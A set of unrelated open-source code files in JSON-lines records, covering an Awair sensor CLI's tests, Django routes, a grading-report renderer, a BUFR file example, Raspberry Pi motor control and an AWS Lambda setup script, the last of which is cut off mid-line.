+{"seq_id":"10046680416","text":"\"\"\"\n Tests\n\"\"\"\nfrom mock import MagicMock, patch # create_autospec\nimport awair_command_line.awair as test\n\nPACKAGE = \"awair_command_line.awair.\"\n\n\ndef reset_mocks(*mocks) -> None:\n \"\"\" Resets all the mocks\n \"\"\"\n for mock in mocks:\n mock.reset_mock()\n\n\ndef test_get_aqi():\n \"\"\" test\n \"\"\"\n result = test.get_aqi({\"pm25\": 10, \"pm10_est\": 10})\n assert result == 42 # the answer to life, the universe, and everything\n\n result = test.get_aqi({\"pm25\": 100, \"pm10_est\": 100})\n assert result == 174\n\n\ndef test_get_aqi_grade():\n \"\"\" test\n \"\"\"\n assert \"green\" in test.get_aqi_grade(2)\n assert \"yellow\" in test.get_aqi_grade(51)\n\n\ndef test_get_awair_grade():\n \"\"\" test\n \"\"\"\n tests = {\n 100: \"Good\",\n 99: \"Good\",\n 81: \"Good\",\n 80: \"Good\",\n 79: \"Fair\",\n 61: \"Fair\",\n 60: \"Fair\",\n 59: \"Poor\",\n 1: \"Poor\",\n }\n\n for score, grade in tests.items():\n assert test.get_awair_grade(score) == grade\n\n\ndef test_augment_data():\n \"\"\" test\n \"\"\"\n config = {\"display\": \"pm25\"}\n data = {\"score\": 85, \"temp\": 25, \"humid\": 60, \"pm25\": 1, \"pm10_est\": 1}\n result = test.augment_data(config, data)\n assert result[\"humidity_display\"] == \"60%\"\n assert \"77\" in result[\"farenheit_display\"]\n assert \"4\" in result[\"aqi_display\"]\n\n\n@patch(PACKAGE + \"get_awair_config\")\n@patch(PACKAGE + \"delegator.run\")\ndef test_discover_awairs(delegator_run, awair_config, capsys):\n \"\"\" test\n \"\"\"\n awair_config.return_value = True\n\n tab = \"\\t\"\n nl = \"\\n\"\n ip = \"127.0.0.1\"\n mac = \"aa:aa:aa:aa:aa:aa\"\n\n # One Awair found\n delegator_output = ip + tab + mac\n delegator_run.return_value = MagicMock(return_code=0, out=delegator_output)\n response = test.discover_awairs()\n assert len(response) == 1\n assert response[0] == ip\n reset_mocks(delegator_run, awair_config)\n\n # Multiple Awairs found\n delegator_output = (ip + tab + mac + nl) * 2\n delegator_run.return_value = MagicMock(return_code=0, out=delegator_output)\n response = test.discover_awairs()\n assert len(response) == 2\n assert response[0] == ip\n assert response[1] == ip\n reset_mocks(delegator_run, awair_config)\n\n # No Awairs found\n delegator_output = \"\"\n delegator_run.return_value = MagicMock(return_code=0, out=delegator_output)\n response = test.discover_awairs()\n assert response == []\n reset_mocks(delegator_run, awair_config)\n\n # arp-scan not installed\n delegator_run.return_value = MagicMock(return_code=1)\n response = test.discover_awairs()\n assert response == []\n out, __ = capsys.readouterr()\n assert \"Please\" in out\n\n\ndef test_error(capsys):\n \"\"\" test\n \"\"\"\n test.error(\"foobar\")\n out, __ = capsys.readouterr()\n assert \"ERROR:\" in out\n assert \"foobar\" in out\n\n\ndef test_progress(capsys):\n \"\"\" test\n \"\"\"\n test.progress(True, \"foobar\")\n out, __ = capsys.readouterr()\n assert \"foobar\" in out\n\n test.progress(False, \"foobar\")\n out, __ = capsys.readouterr()\n assert \"foobar\" not in out\n\n\ndef test_get_specified_ip():\n \"\"\" test\n \"\"\"\n response = test.get_specified_ip([\"--ip\", \"foobar\"])\n assert response == \"foobar\"\n\n response = test.get_specified_ip([\"--something-else\", \"blah\"])\n assert response is None\n\n response = test.get_specified_ip([])\n assert response is None\n\n\ndef test_get_specified_mac():\n \"\"\" test\n \"\"\"\n response = test.get_specified_mac([\"--mac\", \"AA-bb\"])\n assert response == \"aa:bb\"\n\n response = test.get_specified_mac([\"--something-else\", \"blah\"])\n assert response is None\n\n response = test.get_specified_mac([])\n assert response is None\n","repo_name":"obradovic/awair-command-line","sub_path":"awair_command_line/awair_tests.py","file_name":"awair_tests.py","file_ext":"py","file_size_in_byte":3709,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"6508671366","text":"from django.urls import re_path\n\nfrom . import views\n\napp_name = \"dashboard\"\n\nurlpatterns = [\n re_path(r\"^$\", views.IndexView.as_view(), name=\"index\"),\n re_path(\n r\"council/(?P[^/]+)/$\",\n views.CouncilDetailView.as_view(),\n name=\"council_detail\",\n ),\n re_path(\n r\"council/(?P[^/]+)/polling-station/(?P.+)/$\",\n views.PollingStationDetailView.as_view(),\n name=\"pollingstation_detail\",\n ),\n re_path(\n r\"postcode/(?P[^/]+)/$\", views.PostCodeView.as_view(), name=\"postcode\"\n ),\n re_path(\n r\"postcode/(?P[^/]+).geojson$\",\n views.PostCodeGeoJSONView.as_view(),\n name=\"postcode-geojson\",\n ),\n]\n","repo_name":"DemocracyClub/UK-Polling-Stations","sub_path":"polling_stations/apps/dashboard/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":723,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"48"} +{"seq_id":"44124012062","text":"#!/usr/bin/env python3\n\nimport json\nimport os\nimport sys\nimport argparse\nimport html\nfrom jinja2 import Environment, FileSystemLoader, evalcontextfilter, Markup\nfrom report_parser import Report, Test, Result, Type, UserObject, ForkStatus, Status\n\ndefault_format = \"vertical\"\n\ntemplate_filenames = {\n \"vertical\": \"vertical.html\",\n \"horizontal\": \"horizontal.html\",\n \"main\": \"main.html\",\n \"testbody\": \"testbody.html\"\n }\n\nif \"__file__\" in globals():\n default_templates = os.path.relpath(os.path.split(__file__)[0])\nelse:\n default_templates = sys.path[0]\ndefault_templates = os.path.normpath(os.path.join(default_templates, \"../templates/\"))\n\n\ndef differences(correct, answer):\n \"\"\"Returns a tuple with two lists of tuples with the difference locations and lengths\"\"\"\n\n def split(s):\n res = []\n pos = 0\n pos2 = 0\n while len(s) > pos2:\n while len(s) > pos2 and not s[pos2].isspace():\n pos2 += 1\n if pos != pos2:\n res.append(s[pos:pos2])\n pos = pos2\n while len(s) > pos2 and s[pos2].isspace():\n pos2 += 1\n if pos != pos2:\n res.append(s[pos:pos2])\n pos = pos2\n return res\n\n c_words = split(correct)\n a_words = split(answer)\n\n n = 0\n while n < len(c_words) and n < len(a_words) and c_words[n] == a_words[n]:\n n+=1\n start = c_words[:n]\n\n n = 0\n while n + len(start) < len(c_words) and n + len(start) < len(a_words) and c_words[-n-1] == a_words[-n-1]:\n n+=1\n if n != 0:\n end = c_words[-n:]\n c_words = c_words[len(start):-len(end)]\n a_words = a_words[len(start):-len(end)]\n else:\n end = []\n c_words = c_words[len(start):]\n a_words = a_words[len(start):]\n\n def lcslengths(b,a):\n lengths = [[0] * (len(a)+1) for _ in range(len(b)+1)]\n for i, x in enumerate(b, 1):\n for j, y in enumerate(a, 1):\n if x == y:\n lengths[i][j] = lengths[i-1][j-1] + 1\n else:\n lengths[i][j] = max(lengths[i][j-1], lengths[i-1][j])\n return lengths\n\n def get_indices(arr, res, pos):\n li = 0\n tres = []\n for k in res:\n while li < k:\n pos += len(arr[li])\n li+=1\n tres.append((pos, len(arr[li])))\n return tres\n\n def diffs(arr1, arr2):\n lengths = lcslengths(arr1,arr2)\n res1 = []\n res2 = []\n i = len(arr1)\n j = len(arr2)\n while i != 0 or j != 0:\n if i == 0:\n j -= 1\n res2.append(j)\n elif j == 0:\n i -= 1\n res1.append(i)\n elif arr1[i-1] == arr2[j-1]:\n i -= 1\n j -= 1\n elif lengths[i][j-1] > lengths[i-1][j]:\n j -= 1\n res2.append(j)\n else:\n i -= 1\n res1.append(i)\n res1.reverse()\n res2.reverse()\n return res1, res2\n\n dc, da = diffs(c_words, a_words)\n offset = sum([len(s) for s in start])\n\n return get_indices(c_words, dc, offset), get_indices(a_words, da, offset)\n\nclass Diff:\n def __init__(self, string, positions = None):\n if positions is None:\n self.diff = [\"\", str(string)]\n else:\n lastpos = 0\n self.diff = []\n for pos, length in positions:\n self.diff.append(string[lastpos:pos])\n self.diff.append(string[pos:pos+length])\n lastpos = pos+length\n self.diff.append(string[lastpos:])\n\n\n@evalcontextfilter\ndef diff_filter(eval_ctx, value, start, end, add_space = True):\n if isinstance(value, Diff):\n res = \"\"\n for index, val in enumerate(value.diff):\n if index % 2 == 0:\n res = res + val\n elif add_space:\n res = res + Markup(start) + val.replace(\"\\n\", \" \\n\") + Markup(end)\n else:\n res = res + Markup(start) + val + Markup(end)\n return res\n else:\n return value\n\n\ndef mark_differences(correct, answer):\n \"\"\"Returns a tuple the differences between the two strings highlighted with html and css\"\"\"\n if isinstance(correct, UserObject):\n correct = correct.string\n if isinstance(answer, UserObject):\n answer = answer.string\n if answer is None or correct is None:\n return correct, answer\n if isinstance(correct, str):\n cor_diff, ans_diff = differences(correct, answer)\n return Diff(correct, cor_diff), Diff(answer, ans_diff)\n else:\n if correct == answer:\n return correct, answer\n else:\n return Diff(correct), Diff(answer)\n\n\nclass Beautify:\n def __init__(self, report, template_paths = None):\n if template_paths is None:\n template_paths = [default_templates]\n else:\n if not isinstance(template_paths, list):\n template_paths = [template_paths]\n template_paths.append(default_templates)\n self.env = Environment(loader=FileSystemLoader(template_paths), autoescape=True)\n self.env.filters['diff'] = diff_filter\n self.report = report\n self.templates = template_filenames\n\n def add_template(self, name, filename):\n self.templates[name] = filename\n\n def stdio(self):\n stdio = \"\"\n for test in self.report.tests:\n if test.stdout != \"\" or test.stderr != \"\":\n stdio += \"Test: \" + test.get_name() + \"\\n\"\n if (test.stdout != \"\"):\n stdio += \"Stdout: \" + test.stdout + \"\\n\"\n if (test.stderr != \"\"):\n stdio += \"Stderr: \" + test.stderr + \"\\n\"\n stdio += \"--------------------------------------------------------------\\n\"\n return stdio\n\n def render_main(self):\n return self.render(self.templates[\"main\"], render_test=self.render_test, render_stdio=self.render_stdio, tests=self.report.tests)\n\n def render_stdio(self):\n return self.stdio()\n\n def render_test(self, test: Test):\n format_name = default_format if not test.format else test.format\n return self.render(self.templates[\"testbody\"], Status=Status, obj=test, format=format_name, render_result=self.render_result, suite=test.suite, test=test.test, points=test.points, max_points=test.max_points, results=test.results)\n\n def render_result(self, result: Result, format):\n if result.type == Type.TC:\n rows = []\n for case in result.cases:\n rows.append([\"correct\" if case.result else \"incorrect\", case.input.string, case.arguments.string, *mark_differences(case.output.string, case.output_expected.string)])\n return self.render(self.templates[format], headers=[\"Result\", \"Input\", \"Arguments\", \"Output\", \"Should be\"], rows=rows)\n elif result.type == Type.EE:\n rows = [[\"correct\" if result.result else \"incorrect\", result.descriptor, *mark_differences(result.output, result.output_expected)]]\n return self.render(self.templates[format], headers=[\"Result\", \"Condition\", \"Value (Output)\", \"Should be\"], rows=rows)\n elif result.type == Type.ET or result.type == Type.EF:\n rows = [[\"correct\" if result.result else \"incorrect\", result.descriptor, *mark_differences(result.value, result.type == Type.ET)]]\n return self.render(self.templates[format], headers=[\"Result\", \"Condition\", \"Value (Output)\", \"Should be\"], rows=rows)\n elif result.type == Type.FC:\n all_keys = [\"run_time\", \"max_run_time\",\n \"object\", \"object_after\", \"object_after_expected\",\n \"arguments\", \"arguments_after\", \"arguments_after_expected\",\n \"input\", \"output\", \"output_expected\", \"error\", \"error_expected\",\n \"return_value\", \"return_value_expected\"]\n keys = set()\n for case in result.cases:\n keys.update(key for key in all_keys if getattr(case, key) is not None)\n if \"run_time\" not in keys or \"max_run_time\" not in keys:\n keys.discard(\"run_time\")\n keys.discard(\"max_run_time\")\n keys = [key for key in all_keys if key in keys]\n header_dict = {\"run_time\": \"Run time\", \"max_run_time\": \"Max run time\",\n \"object\": \"Object\", \"object_after\": \"Object afterwards\", \"object_after_expected\": \"Expected object afterwards\",\n \"arguments\": \"Arguments\", \"arguments_after\": \"Arguments afterwards\", \"arguments_after_expected\": \"Expected arguments afterwards\",\n \"input\": \"Standard input\", \"output\": \"Standard output\", \"output_expected\": \"Expected standard output\", \"error\": \"Standard error\", \"error_expected\": \"Expected standard error\",\n \"return_value\": \"Return value\", \"return_value_expected\": \"Expected return value\"}\n headers = [\"Result\"] + [header_dict[key] for key in keys]\n diff_pairs = [(\"object_after\", \"object_after_expected\"), (\"arguments_after\", \"arguments_after_expected\"),\n (\"output\", \"output_expected\"), (\"error\", \"error_expected\"), (\"return_value\", \"return_value_expected\")]\n rows = []\n for case in result.cases:\n if case.status == ForkStatus.TIMEDOUT:\n rows.append([f\"Timed out (max time: {case.timeout})\"])\n elif case.status == ForkStatus.ERROR:\n rows.append([\"Crashed\"])\n else:\n data = {d[0]: d[1] for p in diff_pairs for d in zip(p, mark_differences(getattr(case, p[0]), getattr(case, p[1])))}\n data.update({key: getattr(case, key) for key in keys if key not in data})\n row = [\"correct\" if case.result else \"incorrect\"] + [data[key] for key in keys]\n row = [r.string if isinstance(r, UserObject) else r for r in row]\n rows.append(row)\n return self.render(self.templates[format], headers=headers, rows=rows)\n\n def render(self, template_name, **kwargs):\n return self.env.get_template(template_name).render(render=self.render, **kwargs)\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-o\", dest='out', type=str, default=\"stdout\")\n parser.add_argument(\"-i\", dest='input', type=str, default=\"report.json\")\n parser.add_argument(\"-p\", dest='max_points', type=float, default=-1)\n parser.add_argument(\"-t\", dest='template_dir', type=str, default=default_templates)\n args = parser.parse_args()\n\n template_location = args.template_dir\n report_filename = args.input\n output_filename = args.out\n max_points = args.max_points\n\n report = Report(report_filename)\n beautify = Beautify(report, template_location)\n\n main = beautify.render_main()\n\n if output_filename == \"stdout\":\n print(main)\n else:\n with open(output_filename, 'w') as f:\n f.write(main)","repo_name":"lainets/gcheck","sub_path":"tools/beautify.py","file_name":"beautify.py","file_ext":"py","file_size_in_byte":11150,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"3303345373","text":"# https://leetcode.com/problems/unique-morse-code-words/\n\nclass Solution:\n def uniqueMorseRepresentations(self, words: List[str]) -> int:\n translation = [\".-\",\"-...\",\"-.-.\", \"-..\",\".\",\"..-.\",\"--.\",\"....\",\"..\",\".---\", \"-.-\",\".-..\",\"--\",\"-.\",\"---\", \".--.\",\"--.-\",\".-.\",\"...\",\"-\",\"..-\", \"...-\",\".--\",\"-..-\",\"-.--\",\"--..\"]\n \n unique = set()\n count = 0\n translated = []\n for i in words:\n new_morse = []\n for j in i:\n new_morse.append(translation[ord(j) - ord(\"a\")])\n translated.append(\"\".join(new_morse))\n for i in translated:\n if i not in unique:\n count += 1\n unique.add(i)\n return count\n","repo_name":"Infinidrix/competitive-programming","sub_path":"Camp Day 8/uniqueMorseRepresentations.py","file_name":"uniqueMorseRepresentations.py","file_ext":"py","file_size_in_byte":732,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"71954950867","text":"import numpy as np\nclass Guassian:\n\n vals = []\n def __init__(self):\n self.vals = [0] * 2\n def getRandGuassian(self,mean,stdev,val1,val2):\n u = 0\n v = 0\n s = 0\n t = 0\n\n while True:\n u = 2*np.random.rand() - 1\n v = 2 * np.random.rand() - 1\n\n if u*u + v*v > 1 or (u == 0 and v == 0):\n break\n s = u*u + v*v\n t = np.sqrt((-2.0 * np.log(s)) / s);\n\n self.vals[0] = stdev*u+mean\n self.vals[1] = stdev*u+mean\n return self.vals\n def guassian(self,mean,stddev):\n self.vals[0] = 0.0\n self.vals[1] = 0.0\n vals =self.getRandGuassian(mean,stddev,self.vals[0],self.vals[1])\n return self.vals[0]\n\n def getGuassian(self):\n result= self.guassian(0.0,1.0)\n return result","repo_name":"DaniellePotts/AIAssignment-MachineLearning","sub_path":"Assignment2/guassian.py","file_name":"guassian.py","file_ext":"py","file_size_in_byte":832,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"16718254321","text":"import json\n\nfrom tests.unittest_utils import ForsetiTestCase\nimport mock\nimport unittest\n\n# pylint: disable=line-too-long\nfrom google.cloud.security.common.data_access import dao\nfrom google.cloud.security.common.data_access import errors as data_access_errors\nfrom google.cloud.security.common.gcp_api import admin_directory as ad\nfrom google.cloud.security.common.gcp_api import errors as api_errors\nfrom google.cloud.security.common.gcp_type.resource import LifecycleState\nfrom google.cloud.security.inventory import errors as inventory_errors\nfrom google.cloud.security.inventory.pipelines import load_groups_pipeline\nfrom google.cloud.security.inventory import util\nfrom tests.inventory.pipelines.test_data import fake_configs\nfrom tests.inventory.pipelines.test_data import fake_groups\n# pylint: enable=line-too-long\n\n\nclass LoadGroupsPipelineTest(ForsetiTestCase):\n \"\"\"Tests for the load_groups_pipeline.\"\"\"\n\n def setUp(self):\n \"\"\"Set up.\"\"\"\n\n self.cycle_timestamp = '20001225T120000Z'\n self.configs = fake_configs.FAKE_CONFIGS\n self.mock_admin_client = mock.create_autospec(ad.AdminDirectoryClient)\n self.mock_dao = mock.create_autospec(dao.Dao)\n self.pipeline = (\n load_groups_pipeline.LoadGroupsPipeline(\n self.cycle_timestamp,\n self.configs,\n self.mock_admin_client,\n self.mock_dao))\n\n def test_can_transform_groups(self):\n \"\"\"Test that groups can be transformed.\"\"\"\n\n groups = self.pipeline._transform(fake_groups.FAKE_GROUPS)\n for (i, group) in enumerate(groups):\n self.assertDictEqual(fake_groups.EXPECTED_LOADABLE_GROUPS[i], group)\n\n def test_api_is_called_to_retrieve_groups(self):\n \"\"\"Test that api is called to retrieve projects.\"\"\"\n\n self.pipeline._retrieve()\n\n self.pipeline.api_client.get_groups.assert_called_once_with()\n\n def test_retrieve_errors_are_handled(self):\n \"\"\"Test that errors are handled when retrieving.\"\"\"\n\n self.pipeline.api_client.get_groups.side_effect = (\n api_errors.ApiExecutionError('11111', mock.MagicMock()))\n\n with self.assertRaises(inventory_errors.LoadDataPipelineError):\n self.pipeline._retrieve()\n\n @mock.patch.object(\n util, 'can_inventory_groups')\n @mock.patch.object(\n load_groups_pipeline.LoadGroupsPipeline,\n '_get_loaded_count')\n @mock.patch.object(\n load_groups_pipeline.LoadGroupsPipeline,\n '_load')\n @mock.patch.object(\n load_groups_pipeline.LoadGroupsPipeline,\n '_transform')\n @mock.patch.object(\n load_groups_pipeline.LoadGroupsPipeline,\n '_retrieve')\n def test_subroutines_are_called_by_run(self, mock_retrieve, mock_transform,\n mock_load, mock_get_loaded_count, mock_can_inventory_groups):\n \"\"\"Test that the subroutines are called by run.\"\"\"\n\n mock_can_inventory_groups.return_value = True\n mock_retrieve.return_value = fake_groups.FAKE_GROUPS\n mock_transform.return_value = fake_groups.EXPECTED_LOADABLE_GROUPS\n self.pipeline.run()\n\n mock_retrieve.assert_called_once_with()\n\n mock_transform.assert_called_once_with(fake_groups.FAKE_GROUPS)\n\n mock_load.assert_called_once_with(\n self.pipeline.RESOURCE_NAME,\n fake_groups.EXPECTED_LOADABLE_GROUPS)\n\n mock_get_loaded_count.assert_called_once\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"joshiumang107/forseti-security","sub_path":"tests/inventory/pipelines/load_groups_pipeline_test.py","file_name":"load_groups_pipeline_test.py","file_ext":"py","file_size_in_byte":3506,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"43143544720","text":"import numpy as np\nimport particlesim\nimport hardboundary\nimport matplotlib.pyplot as plt\n\n\n\"\"\"\nParameters:\n\tm:\t\t\tThe mass (inertia) of the particles\n\tgamma:\tThe friction coefficient\n\ts:\t\t\tThe average speed of the particles (not including electrostatic field)\n\"\"\"\ndef moveParticles(particles, t, boundary, params):\n\tm, gamma, s = params['m'], params['gamma'], params['s']\n\tT = 2 * m * pow(s,2) / np.pi\n\tvar = 2 * gamma * T * t\n\tcov = [[var, 0], [0, var]]\n\tmean = (0, 0)\n\tb = np.random.multivariate_normal(mean, cov, len(particles))\n\tfor i, particle in enumerate(particles):\n\t\tx0, v0 = particle.x, particle.v\n\t\tdv = - (gamma/m)*v0*t + (1/m)*b[i]\n\t\tv = v0 + dv\n\t\tx = x0 + v0 * t\n\t\tx,v = boundary.bounceIfHits(x0, v0, x, v)\n\t\tparticle.x, particle.v = x, v\n\ndef main():\n\tparams = {\n\t\t'm': 0.1,\n\t\t'gamma': 0.02,\n\t\t's': 0.35\n\t}\n\tn, iterations = 300, 1000\n\tfolder = 'data/langevin n={} iter={}'.format(n, iterations)\n\tboundary = hardboundary.Circle(10.0)\n\tdata = particlesim.simulate(iterations, n, moveParticles, folder, boundary, params)\n\t# averageSpeed(data)\n\tparticlesim.motionAnimation(data, 100, boundary)\n\ndef averageTemp(data, m):\n\te = np.apply_along_axis(lambda v: 0.5 * m * pow(np.linalg.norm(v), 2), 2, data.v)\n\tebar = e.mean(axis=1)\n\tplt.plot(ebar)\n\tplt.show()\n\ndef averageSpeed(data):\n\te = np.apply_along_axis(np.linalg.norm, 2, data.v)\n\tebar = e.mean(axis=1)\n\tplt.plot(ebar)\n\tplt.show()\n\nif __name__=='__main__':\n\tmain()","repo_name":"samyoung17/particles","sub_path":"langevin.py","file_name":"langevin.py","file_ext":"py","file_size_in_byte":1427,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"24496682611","text":"from __future__ import print_function\nimport os # operating system functions\nimport sys # system functions\n\n# import the python file defining the RawBUFRFile class\nfrom pybufr_ecmwf.raw_bufr_file import RawBUFRFile\n# #]\n\ndef raw_file_reading_example(input_bufr_file):\n # #[\n \"\"\"\n example for reading a BUFR message\n \"\"\"\n\n # get an instance of the RawBUFRFile class\n rbf = RawBUFRFile()\n\n # open the file for reading, count nr of BUFR messages in it\n # and store its content in memory, together with\n # an array of pointers to the start and end of each BUFR message\n rbf.open(input_bufr_file, 'rb')\n\n # print the internal data of the class instance\n rbf.print_properties(prefix=\"RawBUFRFile (opened for reading)\")\n\n # print the number of BUFR messages in the file\n num_msgs = rbf.get_num_bufr_msgs()\n print(\"This file contains: \", num_msgs, \" BUFR messages.\")\n\n # sequentially read the raw (undecoded) BUFR messages from the\n # class instance\n msg1 = rbf.get_next_raw_bufr_msg()[0] # should return proper data\n try:\n msg2 = rbf.get_next_raw_bufr_msg()[0] # should return corrupted data\n except EOFError:\n msg2 = None\n try:\n msg3 = rbf.get_next_raw_bufr_msg()[0] # should return corrupted data\n except EOFError:\n msg3 = None\n\n print(\"a warning is expected here:\")\n # msg4 =\n try:\n rbf.get_next_raw_bufr_msg()[0] # should raise an EOF error\n except EOFError:\n print(\"Warning: EOF reached !\")\n\n for i in range(1, num_msgs+1):\n # read a selected raw BUFR message from the class instance\n raw_data = rbf.get_raw_bufr_msg(i)[0]\n print(\"msg \", i, \" got \", len(raw_data), \" words\")\n\n # close the file\n rbf.close()\n\n # delete the class instance\n del rbf\n return (msg1, msg2, msg3)\n # #]\ndef raw_file_writing_example(output_bufr_file, msg1, msg2):\n # #[\n \"\"\"\n example for writing a BUFR message\n \"\"\"\n\n # get an instance of the RawBUFRFile class\n bf1 = RawBUFRFile()\n\n # open the test file for writing\n bf1.open(output_bufr_file, 'wb')\n\n # write a few raw (encoded) BUFR messages\n bf1.write_raw_bufr_msg(msg1)\n if msg2 is not None:\n bf1.write_raw_bufr_msg(msg2)\n\n # print the internal data of the class instance\n bf1.print_properties(prefix=\"RawBUFRFile (opened for writing)\")\n\n # close the file\n bf1.close()\n\n # delete the class instance\n del bf1\n # #]\ndef raw_file_appending_example(output_bufr_file, msg3):\n # #[\n \"\"\"\n example for appending a BUFR message\n \"\"\"\n\n # get an instance of the RawBUFRFile class\n bf2 = RawBUFRFile()\n\n # open the test file for appending\n bf2.open(output_bufr_file, 'ab')\n\n # write a third raw (encoded) BUFR messages\n if msg3 is not None:\n bf2.write_raw_bufr_msg(msg3)\n\n # print the internal data of the class instance\n bf2.print_properties(prefix=\"RawBUFRFile2 (opened for appending)\")\n\n # close the file\n bf2.close()\n\n # delete the class instance\n del bf2\n # #]\n\n# #[ run the example\nif len(sys.argv) < 3:\n print('please give 2 BUFR files as argument')\n sys.exit(1)\n\nINP_BUFR_FILE = sys.argv[1]\nOUTP_BUFR_FILE = sys.argv[2]\n# make sure the outputfile does not yet exist\nif os.path.exists(OUTP_BUFR_FILE):\n os.remove(OUTP_BUFR_FILE)\n\nprint(\"-\"*50)\nprint(\"reading example\")\nprint(\"-\"*50)\n\n(MSG1, MSG2, MSG3) = raw_file_reading_example(INP_BUFR_FILE)\n\nprint(\"-\"*50)\nprint(\"writing example\")\nprint(\"-\"*50)\n\nraw_file_writing_example(OUTP_BUFR_FILE, MSG1, MSG2)\n\nprint(\"-\"*50)\nprint(\"appending example\")\nprint(\"-\"*50)\n\nraw_file_appending_example(OUTP_BUFR_FILE, MSG3)\n\nprint(\"-\"*50)\nprint(\"done\")\nprint(\"-\"*50)\n# #]\n","repo_name":"jdkloe/pybufr-ecmwf","sub_path":"example_programs/example_for_using_rawbufrfile.py","file_name":"example_for_using_rawbufrfile.py","file_ext":"py","file_size_in_byte":3746,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"48"} +{"seq_id":"73264484306","text":"import RPi.GPIO as GPIO\nimport time\n\nGPIO.setwarnings(False)\nGPIO.setmode(GPIO.BCM)\n\nleft_pwm = 23\nleft1 = 17\nleft2 = 27\nright_pwm = 24\nright1 = 21\nright2 = 20\n\nGPIO.setup(left_pwm, GPIO.OUT)\nGPIO.setup(left1, GPIO.OUT)\nGPIO.setup(left2, GPIO.OUT)\nGPIO.setup(right_pwm, GPIO.OUT)\nGPIO.setup(right1, GPIO.OUT)\nGPIO.setup(right2, GPIO.OUT)\n\n# left motor CCW rotation\nGPIO.output(left1, GPIO.LOW)\nGPIO.output(left2, GPIO.HIGH)\nleft_pwm_act = GPIO.PWM(left_pwm, 1000)\nleft_pwm_act.stop()\n\n# right motor CW rotation\nGPIO.output(right1, GPIO.HIGH)\nGPIO.output(right2, GPIO.LOW)\nright_pwm_act = GPIO.PWM(right_pwm, 1000)\nright_pwm_act.stop()\n\nTRGI = 5\nECHO = 6\nprint(\"Distance measurement with Ultrasonic\")\n\nGPIO.setup(TRGI, GPIO.OUT)\nGPIO.setup(ECHO, GPIO.IN)\n\nGPIO.output(TRGI, False)\nprint(\"Waiting for sensor to settle\")\ntime.sleep(2)\n\ntry:\n while True:\n GPIO.output(TRGI, True)\n time.sleep(0.00001)\n GPIO.output(TRGI, False)\n while GPIO.input(ECHO) == 0:\n start = time.time()\n while GPIO.input(ECHO) == 1:\n stop = time.time()\n check_time = stop - start\n distance = check_time*34300/2\n print(\"Distance : %.1f cm\" %distance)\n if distance >= 5:\n left_pwm_act.start(100)\n right_pwm_act.start(100)\n elif distance < 5:\n left_pwm_act.start(0)\n right_pwm_act.start(0)\n# time.sleep(0.4)\n\nexcept KeyboardInterrupt:\n print(\"Measuremenet stopped by User\")\n GPIO.cleanup()\n","repo_name":"dgtalist/ChungAng","sub_path":"Day_5/05_ulta_start_stop.py","file_name":"05_ulta_start_stop.py","file_ext":"py","file_size_in_byte":1510,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"72081586065","text":"import os\n\nfrom lambdas.lambda_utils import create_lambda_function\nfrom make_s3_bucket import create_bucket_from_template\nfrom utils import load_json, LAB_ROLE_ARN\n\nU_BUCKET_NAME = \"pongosutilitybuckets2023351\"\nTEMPLATE_PATH = \"templates/create_my_utility_bucket.json\" # Relative to root folder\nFOLDER_CONTAINING_ZIPS = \"./lambdas/zips\"\n\nDYNAMO_ENTRY_FUNCTION_NAME = \"functionToCreateItemsInDynamoDB\"\nDYNAMO_LAMBDA_ZIPPED_FILE_NAME = \"dynamo_entry_function.py.zip\"\nDYNAMO_HANDLER_NAME = \"dynamo_entry_function.lambda_handler\"\n\nEMAILING_FUNCTION_NAME = \"functionToEmailIfPassengerExists\"\nEMAILING_LAMBDA_ZIPPED_FILE_NAME = \"emailing_function.py.zip\"\nEMAILING_LAMBDA_HANDLER_NAME = \"emailing_function.lambda_handler\"\n\n\ndef upload_zipped_lambdas(s3_client, bucket_name):\n # Loop through each file in the directory\n try:\n for filename in os.listdir(FOLDER_CONTAINING_ZIPS):\n print(\"[..]Currently Uploading file: \", filename)\n filepath = os.path.join(FOLDER_CONTAINING_ZIPS, filename)\n\n with open(filepath, 'rb') as f:\n s3_client.upload_fileobj(f, bucket_name, filename)\n\n print(f\"[+]{filename} uploaded to '{bucket_name}'\")\n return True\n except Exception as e:\n print(\"[-]Error happened while uploading zips \", str(e))\n return False\n\n\ndef generate_lambda_functions(**kwargs):\n \"\"\"\n 1. We need to create the utility bucket if it doesnt exist, if it does we ignore\n 2. Then upload the corresponding lambda zip files into that bucket (doesnt matter if its there or not, we should upload/overwrite everytime)\n 3. And then we create the lambda function1 - for dynamo entry\n\n 4. Then now we go ahead and create lambda function2 - for emailing\n 5. Then we set it to be triggered by the dynamo db entry, and that's all.\n\n :return:\n \"\"\"\n session = kwargs.get(\"session\")\n s3_client = session.client(\"s3\")\n formation_client = session.client(\"cloudformation\")\n template = load_json(TEMPLATE_PATH)\n create_bucket_from_template(template, U_BUCKET_NAME, client=s3_client,\n formation_client=formation_client)\n zips_uploaded = upload_zipped_lambdas(s3_client, U_BUCKET_NAME)\n if not zips_uploaded:\n print(\"[-]For some reason we could not upload zipped lambda functions, please check logs...\")\n return None, None\n\n # Now we create dynamo entry lambda\n # ----------------------------------\n code_source = {'S3Bucket': U_BUCKET_NAME, 'S3Key': DYNAMO_LAMBDA_ZIPPED_FILE_NAME}\n dyno_lambda_arn = create_lambda_function(function_name=DYNAMO_ENTRY_FUNCTION_NAME, role=LAB_ROLE_ARN,\n code_source=code_source, handler_name=DYNAMO_HANDLER_NAME)\n\n # Now we create emailing lambda\n # ----------------------------------\n code_source[\"S3Key\"] = 